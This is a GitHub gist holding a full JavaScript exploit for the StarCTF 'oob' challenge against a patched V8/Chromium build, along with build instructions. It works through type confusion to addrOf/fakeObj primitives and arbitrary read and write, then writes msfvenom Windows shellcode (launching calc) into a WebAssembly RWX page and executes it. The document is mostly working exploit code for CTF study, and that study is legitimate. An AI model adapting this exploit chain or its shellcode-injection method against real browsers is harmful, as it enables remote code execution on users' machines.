-
-
Save xct/795216846c75c625fc10bf10d23982e6 to your computer and use it in GitHub Desktop.
StarCTF OOB v8 Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
StarCTF OOB v8 Exploit | |
Author: @xct_de | |
Desc: Exploit for OOB Read/Write via custom patch on chromium from StarCTF. Heavily based on the writeups linked in resources. | |
Resources: | |
- https://ctftime.org/task/8393 | |
- https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/ | |
- https://www.youtube.com/watch?v=Uyrv2F6wI-E&t=3328s | |
Compile (both debug & release of v8/d8 are required): | |
- Install Visual Studio Community 2017 | |
- Follow https://chromium.googlesource.com/chromium/src/+/HEAD/docs/windows_build_instructions.md | |
- python -m pip install pypiwin32 | |
- mkdir E:\src\v8src | |
- cd E:\src\v8src | |
- fetch v8; cd v8 | |
- git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 | |
- gclient sync | |
- Manually apply oob.diff from task | |
- gn gen out/v8 --args="is_debug = false" | |
- autoninja -C out\v8 v8; autoninja -C out\v8 d8 | |
- gn gen out/v8debug --args="is_debug = true" | |
- autoninja -C out\v8debug v8; autoninja -C out\v8debug d8 | |
*/ | |
var buf = new ArrayBuffer(8); | |
var f64_buf = new Float64Array(buf); | |
var u64_buf = new Uint32Array(buf); | |
// float to int | |
function ftoi(val) { | |
f64_buf[0] = val; | |
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); | |
} | |
// int to float | |
function itof(val) { // typeof(val) = BigInt | |
u64_buf[0] = Number(val & 0xffffffffn); | |
u64_buf[1] = Number(val >> 32n); | |
return f64_buf[0]; | |
} | |
// temp object | |
var tempObj = {'a':'b'}; | |
// array of floats | |
var floatArr = [1.1,1.2,1.3,1.4]; | |
// array of obj | |
var objArr = [tempObj]; | |
// get map ptr via oob access | |
var floatArrMap = floatArr.oob(); | |
var objArrMap = objArr.oob(); | |
// leak an objects address via type confusion (array of objects vs. array of floats) | |
function addrOf(obj){ | |
// put address of obj in elements (position 3 after map and len) | |
objArr[0] = obj; | |
// swap array of object map with float map allowing future access as floats | |
objArr.oob(floatArrMap); | |
// get the value at position as float (but its really the objects address) | |
let addr = objArr[0]; | |
// restore original map | |
objArr.oob(objArrMap); | |
return ftoi(addr); | |
} | |
// access a float (address) as an object via type confusion | |
function fakeObj(addr){ | |
// store addr as float | |
floatArr[0] = itof(addr); | |
// swap map with obj map to allow access as obj | |
floatArr.oob(objArrMap); | |
let fakeObj = floatArr[0]; | |
// restore | |
floatArr.oob(floatArrMap); | |
return fakeObj; | |
} | |
// 1. we create an JSArray obj inside the float array and can set its map/properties/elementes pointers | |
// 2. we can point elements to whatever memory we like and then read/write there via accessing the float array by index | |
var rwArr = [floatArrMap, 1.2, 1.3, 1.4]; | |
function arbRead(addr){ | |
// pointer tagging (we need to add 1 if not 1 at the end already) | |
if(addr % 2n == 0){ | |
addr += 1n; | |
} | |
// we get an object handle to the rwArr | |
let fake = fakeObj(addrOf(rwArr)-0x20n); // 0x20 * because we go back 4*8 in memory to reach the first element of the original array | |
// by accessing the 2nd element we can write the elements ptr (first is map, 2nd is properties) | |
rwArr[2] = itof(BigInt(addr)-0x10n); // 0x10 because we would read addr+10 (it reads at 3*8 location because map and props preceed it) | |
// we return the first element of the elements (which we set to an arb address, so this is an arb read) | |
return ftoi(fake[0]) | |
} | |
function arbWrite(addr, val){ | |
// pointer tagging (we need to add 1 if not 1 at the end already) | |
if(addr % 2n == 0){ | |
addr += 1n; | |
} | |
// we get an object handle to the rwArr | |
let fake = fakeObj(addrOf(rwArr)-0x20n); // 0x20 * because we go back 4*8 in memory to reach the first element of the original array | |
// by accessing the 2nd element we can write the elements ptr (first is map, 2nd is properties) | |
rwArr[2] = itof(BigInt(addr)-0x10n); // 0x10 because we would read addr+10 (it reads at 3*8 location because map and props preceed it) | |
// write to fake[0] | |
fake[0] = itof(BigInt(val)) | |
} | |
// WebAssembly method to get RWX Page & execute shellcode (for initial sc use https://wasdk.github.io/WasmFiddle/) | |
/* | |
int main() { | |
char* x = "w00tw00t";; | |
return (int)x; | |
} | |
*/ | |
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,131,128,128,128,0,2,0,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,152,128,128,128,0,3,6,109,101,109,111,114,121,2,0,4,116,101,115,116,0,0,4,109,97,105,110,0,1,10,147,128,128,128,0,2,132,128,128,128,0,0,65,16,11,132,128,128,128,0,0,65,16,11,11,143,128,128,128,0,1,0,65,16,11,9,119,48,48,116,119,48,48,116,0]); | |
var wasmMod = new WebAssembly.Module(wasmCode); | |
var wasmInst = new WebAssembly.Instance(wasmMod); | |
var f = wasmInst.exports.main; | |
// finding the address of wasm_instance (static offset, depends on chrome version?) | |
var wasmPage = arbRead(addrOf(wasmInst)-1n+0x88n) | |
console.log("[>] Wasm Page: 0x" + wasmPage.toString(16)); | |
// msfvenom -p windows/x64/exec -f dword CMD='calc' , prefix with nops because it does not call the start perfectly | |
var sc = new Uint32Array([ | |
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, | |
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, | |
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, | |
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, | |
0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, 0x90909090, | |
0xe48348fc, 0x00c0e8f0, 0x51410000, 0x51525041, 0xd2314856, 0x528b4865, 0x528b4860, 0x528b4818, | |
0x728b4820, 0xb70f4850, 0x314d4a4a, 0xc03148c9, 0x7c613cac, 0x41202c02, 0x410dc9c1, 0xede2c101, | |
0x48514152, 0x8b20528b, 0x01483c42, 0x88808bd0, 0x48000000, 0x6774c085, 0x50d00148, 0x4418488b, | |
0x4920408b, 0x56e3d001, 0x41c9ff48, 0x4888348b, 0x314dd601, 0xc03148c9, 0xc9c141ac, 0xc101410d, | |
0xf175e038, 0x244c034c, 0xd1394508, 0x4458d875, 0x4924408b, 0x4166d001, 0x44480c8b, 0x491c408b, | |
0x8b41d001, 0x01488804, 0x415841d0, 0x5a595e58, 0x59415841, 0x83485a41, 0x524120ec, 0x4158e0ff, | |
0x8b485a59, 0xff57e912, 0x485dffff, 0x000001ba, 0x00000000, 0x8d8d4800, 0x00000101, 0x8b31ba41, | |
0xd5ff876f, 0xa2b5f0bb, 0xa6ba4156, 0xff9dbd95, 0xc48348d5, 0x7c063c28, 0xe0fb800a, 0x47bb0575, | |
0x6a6f7213, 0x89415900, 0x63d5ffda, 0x00636c61 | |
]); | |
// copy shellcode over the initial | |
let arrayBuf = new ArrayBuffer(0x200); | |
let dataview = new DataView(arrayBuf); | |
let bufAddr = addrOf(arrayBuf); | |
let backingStoreAddr = bufAddr+BigInt(0x20); | |
arbWrite(BigInt(backingStoreAddr), BigInt(wasmPage)); | |
for (let i=0; i<sc.length;i+=2){ | |
dataview.setUint32(4*(i+1), sc[i+1], true); | |
dataview.setUint32(4*i, sc[i], true); | |
} | |
// finally run shellcode | |
console.log("[>] Calling shellcode"); | |
f(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment